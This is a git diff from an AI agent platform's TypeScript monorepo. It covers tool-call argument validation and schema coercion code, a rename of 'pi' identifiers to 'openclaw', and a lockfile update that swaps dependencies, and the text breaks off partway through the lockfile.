+ const candidate = structuredClone(value); + const coerced = coerceWithJsonSchema(candidate, schema); + const validator = getSubSchemaValidator(schema); + if (validator?.Check(coerced)) { + return coerced; + } + } + return value; +} + +function coerceWithJsonSchema(value: unknown, schema: JsonSchemaObject): unknown { + let nextValue = value; + + if (Array.isArray(schema.allOf)) { + for (const nested of schema.allOf) { + nextValue = coerceWithJsonSchema(nextValue, nested); + } + } + + if (Array.isArray(schema.anyOf)) { + nextValue = coerceWithUnionSchema(nextValue, schema.anyOf); + } + + if (Array.isArray(schema.oneOf)) { + nextValue = coerceWithUnionSchema(nextValue, schema.oneOf); + } + + const schemaTypes = getSchemaTypes(schema); + const matchesUnionMember = + schemaTypes.length > 1 && + schemaTypes.some((schemaType) => matchesJsonType(nextValue, schemaType)); + if (schemaTypes.length > 0 && !matchesUnionMember) { + for (const schemaType of schemaTypes) { + const candidate = coercePrimitiveByType(nextValue, schemaType); + if (candidate !== nextValue) { + nextValue = candidate; + break; + } + } + } + + if (schemaTypes.includes("object") && isRecord(nextValue) && !Array.isArray(nextValue)) { + applySchemaObjectCoercion(nextValue, schema); + } + + if (schemaTypes.includes("array") && Array.isArray(nextValue)) { + applySchemaArrayCoercion(nextValue, schema); + } + + return nextValue; +} + +function getValidator(schema: Tool["parameters"]): ReturnType { + const key = schema as object; + const cached = validatorCache.get(key); + if (cached) { + return cached; + } + const validator = Compile(schema); + validatorCache.set(key, validator); + return validator; +} + +function formatValidationPath(error: TLocalizedValidationError): string { + if (error.keyword === "required") { + const requiredProperty = (error.params as { requiredProperties?: string[] }) + .requiredProperties?.[0]; + if (requiredProperty) { + const basePath = error.instancePath.replace(/^\//, "").replace(/\//g, "."); + return basePath ? `${basePath}.${requiredProperty}` : requiredProperty; + } + } + const path = error.instancePath.replace(/^\//, "").replace(/\//g, "."); + return path || "root"; +} + +export function validateToolCall(tools: Tool[], toolCall: ToolCall): unknown { + const tool = tools.find((t) => t.name === toolCall.name); + if (!tool) { + throw new Error(`Tool "${toolCall.name}" not found`); + } + return validateToolArguments(tool, toolCall); +} + +export function validateToolArguments(tool: Tool, toolCall: ToolCall): unknown { + const args = structuredClone(toolCall.arguments); + Value.Convert(tool.parameters, args); + + const validator = getValidator(tool.parameters); + if (!hasTypeBoxMetadata(tool.parameters) && isJsonSchemaObject(tool.parameters)) { + const coerced = coerceWithJsonSchema(args, tool.parameters); + if (coerced !== args) { + if (isRecord(args) && isRecord(coerced)) { + for (const key of Object.keys(args)) { + delete args[key]; + } + Object.assign(args, coerced); + } else { + return validator.Check(coerced) ? coerced : args; + } + } + } + + if (validator.Check(args)) { + return args; + } + + const errors = + validator + .Errors(args) + .map((error) => ` - ${formatValidationPath(error)}: ${error.message}`) + .join("\n") || "Unknown validation error"; + + throw new Error( + `Validation failed for tool "${toolCall.name}":\n${errors}\n\nReceived arguments:\n${JSON.stringify(toolCall.arguments, null, 2)}`, + ); +} diff --git a/packages/memory-host-sdk/src/host/embeddings-remote-client.test.ts b/packages/memory-host-sdk/src/host/embeddings-remote-client.test.ts index c9e43317dfd..6f914055fc4 100644 --- a/packages/memory-host-sdk/src/host/embeddings-remote-client.test.ts +++ b/packages/memory-host-sdk/src/host/embeddings-remote-client.test.ts @@ -38,8 +38,8 @@ describe("resolveRemoteEmbeddingBearerClient", () => { remote: { apiKey: "sk-test", headers: { - originator: "pi", - "User-Agent": "pi", + originator: "openclaw", + "User-Agent": "openclaw", }, }, }, diff --git a/packages/memory-host-sdk/src/host/openclaw-runtime-agent.ts b/packages/memory-host-sdk/src/host/openclaw-runtime-agent.ts index ed964606922..f591a344f75 100644 --- a/packages/memory-host-sdk/src/host/openclaw-runtime-agent.ts +++ b/packages/memory-host-sdk/src/host/openclaw-runtime-agent.ts @@ -1,5 +1,5 @@ export { - DEFAULT_PI_COMPACTION_RESERVE_TOKENS_FLOOR, + DEFAULT_AGENT_COMPACTION_RESERVE_TOKENS_FLOOR, asToolParamsRecord, jsonResult, parseAgentSessionKey, diff --git a/packages/memory-host-sdk/src/host/openclaw-runtime.ts b/packages/memory-host-sdk/src/host/openclaw-runtime.ts index 97da4c1a997..db30ae00c21 100644 --- a/packages/memory-host-sdk/src/host/openclaw-runtime.ts +++ b/packages/memory-host-sdk/src/host/openclaw-runtime.ts @@ -9,7 +9,7 @@ export { } from "../../../../src/agents/agent-scope.js"; export { requireApiKey, resolveApiKeyForProvider } from "../../../../src/agents/model-auth.js"; export { stripInternalRuntimeContext } from "../../../../src/agents/internal-runtime-context.js"; -export { DEFAULT_PI_COMPACTION_RESERVE_TOKENS_FLOOR } from "../../../../src/agents/pi-settings.js"; +export { DEFAULT_AGENT_COMPACTION_RESERVE_TOKENS_FLOOR } from "../../../../src/agents/agent-settings.js"; export { asToolParamsRecord, jsonResult, diff --git a/packages/memory-host-sdk/src/runtime-core.ts b/packages/memory-host-sdk/src/runtime-core.ts index 4c1cb382524..7bd844536bd 100644 --- a/packages/memory-host-sdk/src/runtime-core.ts +++ b/packages/memory-host-sdk/src/runtime-core.ts @@ -2,7 +2,7 @@ export type { AnyAgentTool } from "./host/openclaw-runtime-agent.js"; export { resolveCronStyleNow } from "./host/openclaw-runtime-agent.js"; -export { DEFAULT_PI_COMPACTION_RESERVE_TOKENS_FLOOR } from "./host/openclaw-runtime-agent.js"; +export { DEFAULT_AGENT_COMPACTION_RESERVE_TOKENS_FLOOR } from "./host/openclaw-runtime-agent.js"; export { resolveDefaultAgentId, resolveSessionAgentId } from "./host/openclaw-runtime-agent.js"; export { resolveMemorySearchConfig } from "./host/openclaw-runtime-agent.js"; export { diff --git a/packages/sdk/src/types.ts b/packages/sdk/src/types.ts index eb63a84c377..dbc7521d5d6 100644 --- a/packages/sdk/src/types.ts +++ b/packages/sdk/src/types.ts @@ -28,7 +28,7 @@ export type ConnectableOpenClawTransport = OpenClawTransport & { export type RuntimeSelection = | "auto" - | { type: "embedded"; id: "pi" | "codex" | (string & {}) } + | { type: "embedded"; id: "openclaw" | "codex" | (string & {}) } | { type: "cli"; id: "claude-cli" | (string & {}) } | { type: "acp"; harness: "claude" | "cursor" | "gemini" | "opencode" | (string & {}) } | { type: "managed"; provider: "local" | "node" | "testbox" | "cloud" | (string & {}) }; diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index b0de9016dd1..d97c800750f 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -8,17 +8,6 @@ overrides: '@anthropic-ai/sdk': 0.98.0 hono: 4.12.18 '@hono/node-server': 1.19.14 - '@aws-sdk/core': 3.974.13 - '@aws-sdk/client-bedrock-runtime': 3.1053.0 - '@aws-sdk/credential-provider-env': 3.972.39 - '@aws-sdk/credential-provider-http': 3.972.41 - '@aws-sdk/credential-provider-ini': 3.972.43 - '@aws-sdk/credential-provider-login': 3.972.43 - '@aws-sdk/credential-provider-process': 3.972.39 - '@aws-sdk/credential-provider-sso': 3.972.43 - '@aws-sdk/credential-provider-web-identity': 3.972.43 - '@aws-sdk/nested-clients': 3.997.11 - '@aws-sdk/token-providers': 3.1053.0 axios: 1.16.0 fast-uri: 3.1.2 follow-redirects: 1.16.0 @@ -41,7 +30,7 @@ overrides: protobufjs: 8.4.0 uuid: 14.0.0 -packageExtensionsChecksum: sha256-yJT65dC5sx31mfA+Zdsh3Lr5y20W0ju5sCfPHOidpLg= +packageExtensionsChecksum: sha256-zZ8fyodhMTumshonC7kktCqTPsiHL3UAyS9vltFAlMo= patchedDependencies: '@agentclientprotocol/claude-agent-acp@0.37.0': 3c1bd768608166e6b2799e51a56ede1fdda010fd60ab52a64f7d309dc6192b35 @@ -53,21 +42,15 @@ importers: '@agentclientprotocol/sdk': specifier: 0.22.1 version: 0.22.1(zod@4.4.3) + '@anthropic-ai/sdk': + specifier: 0.98.0 + version: 0.98.0(zod@4.4.3) '@clack/core': specifier: 1.3.1 version: 1.3.1 '@clack/prompts': specifier: 1.4.0 version: 1.4.0 - '@earendil-works/pi-agent-core': - specifier: 0.75.5 - version: 0.75.5(@modelcontextprotocol/sdk@1.29.0(zod@4.4.3))(ws@8.21.0)(zod@4.4.3) - '@earendil-works/pi-ai': - specifier: 0.75.5 - version: 0.75.5(@modelcontextprotocol/sdk@1.29.0(zod@4.4.3))(ws@8.21.0)(zod@4.4.3) - '@earendil-works/pi-coding-agent': - specifier: 0.75.5 - version: 0.75.5(@modelcontextprotocol/sdk@1.29.0(zod@4.4.3))(ws@8.21.0)(zod@4.4.3) '@earendil-works/pi-tui': specifier: 0.75.5 version: 0.75.5 @@ -86,6 +69,9 @@ importers: '@lydell/node-pty': specifier: 1.2.0-beta.12 version: 1.2.0-beta.12 + '@mistralai/mistralai': + specifier: 2.2.1 + version: 2.2.1 '@modelcontextprotocol/sdk': specifier: 1.29.0 version: 1.29.0(zod@4.4.3) @@ -98,6 +84,9 @@ importers: '@openclaw/proxyline': specifier: 0.3.3 version: 0.3.3(undici@8.3.0) + '@silvia-odwyer/photon-node': + specifier: 0.3.4 + version: 0.3.4 chalk: specifier: 5.6.2 version: 5.6.2 @@ -110,6 +99,12 @@ importers: croner: specifier: 10.0.1 version: 10.0.1 + cross-spawn: + specifier: 7.0.6 + version: 7.0.6 + diff: + specifier: 8.0.4 + version: 8.0.4 dotenv: specifier: 17.4.2 version: 17.4.2 @@ -119,9 +114,27 @@ importers: file-type: specifier: 22.0.1 version: 22.0.1 + glob: + specifier: 13.0.6 + version: 13.0.6 grammy: specifier: 1.43.0 version: 1.43.0 + highlight.js: + specifier: 10.7.3 + version: 10.7.3 + hosted-git-info: + specifier: 9.0.3 + version: 9.0.3 + http-proxy-agent: + specifier: 7.0.2 + version: 7.0.2 + https-proxy-agent: + specifier: 7.0.6 + version: 7.0.6 + ignore: + specifier: 7.0.5 + version: 7.0.5 ipaddr.js: specifier: 2.4.0 version: 2.4.0 @@ -143,18 +156,27 @@ importers: markdown-it: specifier: 14.1.1 version: 14.1.1 + minimatch: + specifier: 10.2.5 + version: 10.2.5 node-edge-tts: specifier: 1.2.10 version: 1.2.10 openai: specifier: 6.39.0 version: 6.39.0(ws@8.21.0)(zod@4.4.3) + partial-json: + specifier: 0.1.7 + version: 0.1.7 pdfjs-dist: specifier: 5.7.284 version: 5.7.284 playwright-core: specifier: 1.60.0 version: 1.60.0 + proper-lockfile: + specifier: 4.1.2 + version: 4.1.2 qrcode: specifier: 1.5.4 version: 1.5.4 @@ -228,15 +250,24 @@ importers: '@shikijs/engine-oniguruma': specifier: 3.23.0 version: 3.23.0 + '@types/cross-spawn': + specifier: 6.0.6 + version: 6.0.6 '@types/express': specifier: 5.0.6 version: 5.0.6 + '@types/hosted-git-info': + specifier: 3.0.5 + version: 3.0.5 '@types/markdown-it': specifier: 14.1.2 version: 14.1.2 '@types/node': specifier: 25.9.1 version: 25.9.1 + '@types/proper-lockfile': + specifier: 4.1.4 + version: 4.1.4 '@types/ws': specifier: 8.18.1 version: 8.18.1 @@ -286,6 +317,9 @@ importers: specifier: 4.1.7 version: 4.1.7(@opentelemetry/api@1.9.1)(@types/node@25.9.1)(@vitest/browser-playwright@4.1.7)(@vitest/coverage-v8@4.1.7)(jsdom@29.1.1(@noble/hashes@2.0.1))(vite@8.0.14(@types/node@25.9.1)(esbuild@0.28.0)(jiti@2.7.0)(tsx@4.22.3)(yaml@2.9.0)) optionalDependencies: + sharp: + specifier: 0.34.5 + version: 0.34.5 sqlite-vec: specifier: 0.1.9 version: 0.1.9 @@ -332,12 +366,15 @@ importers: '@aws-sdk/credential-provider-node': specifier: 3.972.44 version: 3.972.44 - '@earendil-works/pi-ai': - specifier: 0.75.5 - version: 0.75.5(@modelcontextprotocol/sdk@1.29.0(zod@4.4.3))(ws@8.21.0)(zod@4.4.3) + '@smithy/node-http-handler': + specifier: 4.7.3 + version: 4.7.3 '@smithy/shared-ini-file-loader': specifier: 4.5.4 version: 4.5.4 + '@smithy/types': + specifier: 4.14.2 + version: 4.14.2 devDependencies: '@openclaw/plugin-sdk': specifier: workspace:* @@ -351,19 +388,12 @@ importers: '@aws/bedrock-token-generator': specifier: 1.1.0 version: 1.1.0 - '@earendil-works/pi-ai': - specifier: 0.75.5 - version: 0.75.5(@modelcontextprotocol/sdk@1.29.0(zod@4.4.3))(ws@8.21.0)(zod@4.4.3) devDependencies: '@openclaw/plugin-sdk': specifier: workspace:* version: link:../../packages/plugin-sdk extensions/anthropic: - dependencies: - '@earendil-works/pi-ai': - specifier: 0.75.5 - version: 0.75.5(@modelcontextprotocol/sdk@1.29.0(zod@4.4.3))(ws@8.21.0)(zod@4.4.3) devDependencies: '@openclaw/plugin-sdk': specifier: workspace:* @@ -374,12 +404,6 @@ importers: '@anthropic-ai/vertex-sdk': specifier: 0.16.1 version: 0.16.1(zod@4.4.3) - '@earendil-works/pi-agent-core': - specifier: 0.75.5 - version: 0.75.5(@modelcontextprotocol/sdk@1.29.0(zod@4.4.3))(ws@8.21.0)(zod@4.4.3) - '@earendil-works/pi-ai': - specifier: 0.75.5 - version: 0.75.5(@modelcontextprotocol/sdk@1.29.0(zod@4.4.3))(ws@8.21.0)(zod@4.4.3) devDependencies: '@openclaw/plugin-sdk': specifier: workspace:* @@ -508,9 +532,6 @@ importers: extensions/codex: dependencies: - '@earendil-works/pi-coding-agent': - specifier: 0.75.5 - version: 0.75.5(@modelcontextprotocol/sdk@1.29.0(zod@4.4.3))(ws@8.21.0)(zod@4.4.3) '@openai/codex': specifier: 0.134.0 version: 0.134.0 @@ -746,10 +767,6 @@ importers: version: link:../../packages/plugin-sdk extensions/fireworks: - dependencies: - '@earendil-works/pi-ai': - specifier: 0.75.5 - version: 0.75.5(@modelcontextprotocol/sdk@1.29.0(zod@4.4.3))(ws@8.21.0)(zod@4.4.3) devDependencies: '@openclaw/plugin-sdk': specifier: workspace:* @@ -761,18 +778,12 @@ importers: specifier: 1.4.0 version: 1.4.0 devDependencies: - '@earendil-works/pi-ai': - specifier: 0.75.5 - version: 0.75.5(@modelcontextprotocol/sdk@1.29.0(zod@4.4.3))(ws@8.21.0)(zod@4.4.3) '@openclaw/plugin-sdk': specifier: workspace:* version: link:../../packages/plugin-sdk extensions/google: dependencies: - '@earendil-works/pi-ai': - specifier: 0.75.5 - version: 0.75.5(@modelcontextprotocol/sdk@1.29.0(zod@4.4.3))(ws@8.21.0)(zod@4.4.3) '@google/genai': specifier: 2.6.0 version: 2.6.0(@modelcontextprotocol/sdk@1.29.0(zod@4.4.3)) @@ -872,10 +883,6 @@ importers: version: link:../../packages/plugin-sdk extensions/kimi-coding: - dependencies: - '@earendil-works/pi-ai': - specifier: 0.75.5 - version: 0.75.5(@modelcontextprotocol/sdk@1.29.0(zod@4.4.3))(ws@8.21.0)(zod@4.4.3) devDependencies: '@openclaw/plugin-sdk': specifier: workspace:* @@ -913,11 +920,7 @@ importers: specifier: workspace:* version: link:../../packages/plugin-sdk - extensions/lmstudio: - dependencies: - '@earendil-works/pi-ai': - specifier: 0.75.5 - version: 0.75.5(@modelcontextprotocol/sdk@1.29.0(zod@4.4.3))(ws@8.21.0)(zod@4.4.3) + extensions/lmstudio: {} extensions/lobster: dependencies: @@ -1194,9 +1197,6 @@ importers: extensions/ollama: dependencies: - '@earendil-works/pi-ai': - specifier: 0.75.5 - version: 0.75.5(@modelcontextprotocol/sdk@1.29.0(zod@4.4.3))(ws@8.21.0)(zod@4.4.3) typebox: specifier: 1.1.38 version: 1.1.38 @@ -1213,9 +1213,6 @@ importers: extensions/openai: dependencies: - '@earendil-works/pi-ai': - specifier: 0.75.5 - version: 0.75.5(@modelcontextprotocol/sdk@1.29.0(zod@4.4.3))(ws@8.21.0)(zod@4.4.3) ws: specifier: 8.21.0 version: 8.21.0 @@ -1684,7 +1681,7 @@ importers: version: 2.2.3 baileys: specifier: 7.0.0-rc13 - version: 7.0.0-rc13(audio-decode@2.2.3) + version: 7.0.0-rc13(audio-decode@2.2.3)(sharp@0.34.5) https-proxy-agent: specifier: 9.0.0 version: 9.0.0 @@ -1701,9 +1698,6 @@ importers: extensions/xai: dependencies: - '@earendil-works/pi-ai': - specifier: 0.75.5 - version: 0.75.5(@modelcontextprotocol/sdk@1.29.0(zod@4.4.3))(ws@8.21.0)(zod@4.4.3) typebox: specifier: 1.1.38 version: 1.1.38 @@ -1759,6 +1753,18 @@ importers: specifier: workspace:* version: link:../.. + packages/agent-core: + dependencies: + ignore: + specifier: 7.0.5 + version: 7.0.5 + typebox: + specifier: 1.1.38 + version: 1.1.38 + yaml: + specifier: 2.9.0 + version: 2.9.0 + packages/memory-host-sdk: {} packages/plugin-package-contract: {} @@ -1956,6 +1962,10 @@ packages: resolution: {integrity: sha512-/oGxoB6p1Nqs935Blt+v1o+anSCEf2n3RjIrcLz84i4cn2Gr+Z7JpDdUkG5+74r5ctqEPG7k/phTGbJ9fNKnHg==} engines: {node: '>=20.0.0'} + '@aws-sdk/core@3.974.12': + resolution: {integrity: sha512-qrqgioqYFjwR6LatVNS1L2Vk++EwRIxqSQXPKNv5Ofux2D8UNgqMQ1znnMyEImXquVPTtbf71fc128pvmU6y9A==} + engines: {node: '>=20.0.0'} + '@aws-sdk/core@3.974.13': resolution: {integrity: sha512-+Y5/4tHki0uYgyx8eun146DegRVQBpdKGK5RbV0FTKJPpaKTchvqVxrrRFK6Wk0JksO4iAZKw3eqxGEIwtO98w==} engines: {node: '>=20.0.0'} @@ -1968,18 +1978,34 @@ packages: resolution: {integrity: sha512-mMQsBJv40oi5QdqRj4Xbc9jTlWMxqWfs5zWu+RhbOuF5F0AxxWXT70hm0abOmLbF2M/Tkuygs01H4eWIQMfoMw==} engines: {node: '>=20.0.0'} + '@aws-sdk/credential-provider-env@3.972.38': + resolution: {integrity: sha512-m3WjZEgPtioMhPmwqUt+DhlTJ2i9ufR6DhfkyXojb9puEvfR+ur2U5shavu5/Cc9WHHsDCvALi6UFHgcqjhQ5w==} + engines: {node: '>=20.0.0'} + '@aws-sdk/credential-provider-env@3.972.39': resolution: {integrity: sha512-29wX9zpAvEt1vcj0psha+y6ygBHy2V/S72mp6e7q0KARLWXq+pwE/lR6qGkwknQvruh52lXvlqZIga8Hdxkucw==} engines: {node: '>=20.0.0'} + '@aws-sdk/credential-provider-http@3.972.40': + resolution: {integrity: sha512-D78L/m2Dr6cJnnSvWoAudPhQmCwmJ7j6APXsPYmFpPaKfQTfCSu0rdm8j14Np+VmXF9z8Aj8HE3xFpsrwtfgeg==} + engines: {node: '>=20.0.0'} + '@aws-sdk/credential-provider-http@3.972.41': resolution: {integrity: sha512-IA3CQTjtJkb6u1H4mE4936c8OPBMa9Jggtwe8U2Mqw/vvb/tZ5Ebd0mcZcX0uKWQhOyYo/+qNIwkV5Xh+FeJJA==} engines: {node: '>=20.0.0'} + '@aws-sdk/credential-provider-ini@3.972.42': + resolution: {integrity: sha512-Mu5ESvFXeinafVM8jTIvRqcvK2Ehj4kz3auT39yUcHwu1Vfxo6xRlmUafdKLW4tusjAJukQwK09sCSMgOm7OKg==} + engines: {node: '>=20.0.0'} + '@aws-sdk/credential-provider-ini@3.972.43': resolution: {integrity: sha512-4mzII+3mZEVXXE1xzrLQrCJL7/r62A63bA6SVzZoNL5rqCJghpf+xgGltVrIBBs0n+mOZBKrQl2tRREtvZ5l6A==} engines: {node: '>=20.0.0'} + '@aws-sdk/credential-provider-login@3.972.42': + resolution: {integrity: sha512-O6WkZga3kf0yqyJYd1dbeJqVhEgJx/x1UaLgtbR+XuL/YP+K5y6QTxQKL7ka9z3jnQASESKGAPnRyt4D5hQrxA==} + engines: {node: '>=20.0.0'} + '@aws-sdk/credential-provider-login@3.972.43': resolution: {integrity: sha512-HG7kQCwXtbv3oBV61Ins0oNX8KKyvrMqqRkb6ZiAfQHbMuHaiNaEb2KnpKLPkNpqImSBK82UkVE/kaY6IfWikA==} engines: {node: '>=20.0.0'} @@ -1988,14 +2014,26 @@ packages: resolution: {integrity: sha512-sDaBIT0yrNNIPfvlsiTCmANm07zKju+ipWODjEXgZlsjMeIJR3LVp7RDyAOzUoAsTbDfYKDWp+i5WrFiQP6rmQ==} engines: {node: '>=20.0.0'} + '@aws-sdk/credential-provider-process@3.972.38': + resolution: {integrity: sha512-EnbYVajGgbkb24s0K1eo4VNAPV5mHIET7LSvirTaFCwkfrfaOJxtSE+wY/tJdKDS21cEYkZs2ruCaAm+W4iblg==} + engines: {node: '>=20.0.0'} + '@aws-sdk/credential-provider-process@3.972.39': resolution: {integrity: sha512-2k/amBifLd75eXNwgvPw/2lKYSQ3NhvHQgkVKVjfUq13/eJ3JRtHmznuFenn74OK3sSfp4SMy1YB2w+UVXoKqA==} engines: {node: '>=20.0.0'} + '@aws-sdk/credential-provider-sso@3.972.42': + resolution: {integrity: sha512-RVV/9NbFwI8ZHEH5dn39lGyFmSbSVj1+orZdr6QsOe1mW9DCglmlen0cFaNZmCcqkqc7erNRHNBduxbeZuHAnw==} + engines: {node: '>=20.0.0'} + '@aws-sdk/credential-provider-sso@3.972.43': resolution: {integrity: sha512-LPc3+Y4vhH1T4x6CMqwCM6hk5+SRf/Lwmgm8INm95wxTtIRHcMwQUVkDzWu4Iw/RSncxYM2BC01OrYbxOPZvyg==} engines: {node: '>=20.0.0'} + '@aws-sdk/credential-provider-web-identity@3.972.42': + resolution: {integrity: sha512-/67fXX0ddllD4u2Nujc5PvT4byHgpMUfz6+RxIKi/0nFIckeorm7JvXgzBuDyVKw0s58EbofmETDWUf9vTEuHQ==} + engines: {node: '>=20.0.0'} + '@aws-sdk/credential-provider-web-identity@3.972.43': resolution: {integrity: sha512-wQtL34lUD/09VXjwAUo2T+I3aEXRDxMB3DKmTJL/Zj0Gi6sLDTrVhae1XVt01yzkquOWajI/sZW72JGDZ1ciTw==} engines: {node: '>=20.0.0'} @@ -2040,6 +2078,10 @@ packages: resolution: {integrity: sha512-yr+5+C7v9R55sAJ89A55Wrm7wIKPVn5cm6J3Hztnd5s/iwEUKxyJqCnIxJu4fVXgG9XBQD1Jc4rsWC1ozahJjA==} engines: {node: '>= 14.0.0'} + '@aws-sdk/nested-clients@3.997.10': + resolution: {integrity: sha512-FtQ/Bt327peZJuyo4WZSOLVUTw9ujRxntepiC7L65FxA2P82Xlq0g14T22BuqBUeMjDoxa9nvwiMHjLIfP3eUg==} + engines: {node: '>=20.0.0'} + '@aws-sdk/nested-clients@3.997.11': resolution: {integrity: sha512-nWXXJ1r/r8N2Gw1pWolRgED38/A9A8DHR2ETWIv220zh4PZHcybbR4hUVWWktmNXTRHzDJwRluapHn0rZxuoqA==} engines: {node: '>=20.0.0'} @@ -2052,6 +2094,14 @@ packages: resolution: {integrity: sha512-qs9z5LqXO/CZC2Lg9SGKpoLU8Rhi+m2pFKZqfO9pytX1clc0katqtsDNupJxFy0xT9wsZSPzM2v1y+/H/zfp5Q==} engines: {node: '>=20.0.0'} + '@aws-sdk/token-providers@3.1049.0': + resolution: {integrity: sha512-r7+d0lQMTHKypkmaF5jRTBYLYHCUHzt3gaVoN9SidLhQeWhCmHk3AKrboDTpPF5b7Pt7vKu3+oeMjznM2Eu1ow==} + engines: {node: '>=20.0.0'} + + '@aws-sdk/token-providers@3.1052.0': + resolution: {integrity: sha512-QqZNB3so7UIDxZtroc85TQaLVxdZRFm0eWM1CSR2N+b06as9TOrilvrlTZuj3guYlxMs6yLOgGxnklJ5qMYtTw==} + engines: {node: '>=20.0.0'} + '@aws-sdk/token-providers@3.1053.0': resolution: {integrity: sha512-laSwHLYMMrXQRl2mFDXszF43m/F4pKWyGr7hCLfJmV8rn8c6CnI/hp/bf/Gn7gLcjz0SY4evd7SBpqtnIhzA/A==} engines: {node: '>=20.0.0'} @@ -2072,6 +2122,10 @@ packages: resolution: {integrity: sha512-WhlJNNINQB+9qtLtZJcpQdgZw3SCDCpXdUJP7cToGwHbCWCnRckGlc6Bx/OhWwIYFNAn+FIydY8SZ0QmVu3xTQ==} engines: {node: '>=20.0.0'} + '@aws-sdk/xml-builder@3.972.24': + resolution: {integrity: sha512-V8z5YcDPfsvzrBlj0xR1vhRtocblhYbqdreCJB/voGd4Sr5zjNAeWxexbnqVtskTJe0vFb5KMqbSL++ePl+zRw==} + engines: {node: '>=20.0.0'} + '@aws-sdk/xml-builder@3.972.25': resolution: {integrity: sha512-GH+Kjz4nPKWKHnsiQpnhP1MJdTGIcK4rAka6tzakgjjUkVgNsmPeEbbRAf09SzS1hjGu6duGHCBsxYke0BhHjQ==} engines: {node: '>=20.0.0'} @@ -2322,20 +2376,6 @@ packages: resolution: {integrity: sha512-3yJ255e4ag3wfZu/DSxeOZK1UtnqNxnspmLaQetGT0pDkThNZoHs+Zg6dgZZ19JEVomXygvfHn9lNpICZuYtEA==} engines: {node: '>=22.12.0'} - '@earendil-works/pi-agent-core@0.75.5': - resolution: {integrity: sha512-LHygOgsW2pgXKb3IkXkOAeZPovHr9VF+EixgXVsDNuB4jmhEOXgshy/zksZ7slkUAx10OQ9W1Ed/2jsnhd1NqA==} - engines: {node: '>=22.19.0'} - - '@earendil-works/pi-ai@0.75.5': - resolution: {integrity: sha512-zf1F5kXk1pqZeFShXOqq9ibUk8QdtRoLCDPAjO+hj44e3EUs9/GFO2qnhTC5+JA2uwVCx+WCNe1PiCjlBYWm5w==} - engines: {node: '>=22.19.0'} - hasBin: true - - '@earendil-works/pi-coding-agent@0.75.5': - resolution: {integrity: sha512-O3CCQDYy28D4uwtP6zZkdEwzHN6X22v49Sb0+SZTC7x37V/YfmogrWPiaFoWeoc2hmdKhSATI7ZAK5bQbJG5NA==} - engines: {node: '>=22.19.0'} - hasBin: true - '@earendil-works/pi-tui@0.75.5': resolution: {integrity: sha512-LkXUM1/49pvzzeI39Y5wjBMlgafcCf67HCLhB9Z7yuXHy4XgT+VqxWcZVW5hBdhQsHZd0znjJotfGH1BzxMfiA==} engines: {node: '>=22.19.0'} @@ -2517,15 +2557,6 @@ packages: '@noble/hashes': optional: true - '@google/genai@1.52.0': - resolution: {integrity: sha512-gwSvbpiN/17O9TbsqSsE/OzZcpv5Fo4RQjdngGgogtuB9RsyJ8ZHhX5KjHj1bp5N9snN2eK8LDGXSaWW2hof8Q==} - engines: {node: '>=20.0.0'} - peerDependencies: - '@modelcontextprotocol/sdk': ^1.25.2 - peerDependenciesMeta: - '@modelcontextprotocol/sdk': - optional: true - '@google/genai@2.6.0': resolution: {integrity: sha512-HjoW3mPuEn7pnuKABJl9VbDoWDSF4nbwYKYvYYor7YjPeDxrrBxHzu2d1Prcd+BAuC4w+85UP6y7ZdcrQAoO7g==} engines: {node: '>=20.0.0'} @@ -2575,6 +2606,159 @@ packages: peerDependencies: hono: 4.12.18 + '@img/colour@1.1.0': + resolution: {integrity: sha512-Td76q7j57o/tLVdgS746cYARfSyxk8iEfRxewL9h4OMzYhbW4TAcppl0mT4eyqXddh6L/jwoM75mo7ixa/pCeQ==} + engines: {node: '>=18'} + + '@img/sharp-darwin-arm64@0.34.5': + resolution: {integrity: sha512-imtQ3WMJXbMY4fxb/Ndp6HBTNVtWCUI0WdobyheGf5+ad6xX8VIDO8u2xE4qc/fr08CKG/7dDseFtn6M6g/r3w==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [arm64] + os: [darwin] + + '@img/sharp-darwin-x64@0.34.5': + resolution: {integrity: sha512-YNEFAF/4KQ/PeW0N+r+aVVsoIY0/qxxikF2SWdp+NRkmMB7y9LBZAVqQ4yhGCm/H3H270OSykqmQMKLBhBJDEw==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [x64] + os: [darwin] + + '@img/sharp-libvips-darwin-arm64@1.2.4': + resolution: {integrity: sha512-zqjjo7RatFfFoP0MkQ51jfuFZBnVE2pRiaydKJ1G/rHZvnsrHAOcQALIi9sA5co5xenQdTugCvtb1cuf78Vf4g==} + cpu: [arm64] + os: [darwin] + + '@img/sharp-libvips-darwin-x64@1.2.4': + resolution: {integrity: sha512-1IOd5xfVhlGwX+zXv2N93k0yMONvUlANylbJw1eTah8K/Jtpi15KC+WSiaX/nBmbm2HxRM1gZ0nSdjSsrZbGKg==} + cpu: [x64] + os: [darwin] + + '@img/sharp-libvips-linux-arm64@1.2.4': + resolution: {integrity: sha512-excjX8DfsIcJ10x1Kzr4RcWe1edC9PquDRRPx3YVCvQv+U5p7Yin2s32ftzikXojb1PIFc/9Mt28/y+iRklkrw==} + cpu: [arm64] + os: [linux] + libc: [glibc] + + '@img/sharp-libvips-linux-arm@1.2.4': + resolution: {integrity: sha512-bFI7xcKFELdiNCVov8e44Ia4u2byA+l3XtsAj+Q8tfCwO6BQ8iDojYdvoPMqsKDkuoOo+X6HZA0s0q11ANMQ8A==} + cpu: [arm] + os: [linux] + libc: [glibc] + + '@img/sharp-libvips-linux-ppc64@1.2.4': + resolution: {integrity: sha512-FMuvGijLDYG6lW+b/UvyilUWu5Ayu+3r2d1S8notiGCIyYU/76eig1UfMmkZ7vwgOrzKzlQbFSuQfgm7GYUPpA==} + cpu: [ppc64] + os: [linux] + libc: [glibc] + + '@img/sharp-libvips-linux-riscv64@1.2.4': + resolution: {integrity: sha512-oVDbcR4zUC0ce82teubSm+x6ETixtKZBh/qbREIOcI3cULzDyb18Sr/Wcyx7NRQeQzOiHTNbZFF1UwPS2scyGA==} + cpu: [riscv64] + os: [linux] + libc: [glibc] + + '@img/sharp-libvips-linux-s390x@1.2.4': + resolution: {integrity: sha512-qmp9VrzgPgMoGZyPvrQHqk02uyjA0/QrTO26Tqk6l4ZV0MPWIW6LTkqOIov+J1yEu7MbFQaDpwdwJKhbJvuRxQ==} + cpu: [s390x] + os: [linux] + libc: [glibc] + + '@img/sharp-libvips-linux-x64@1.2.4': + resolution: {integrity: 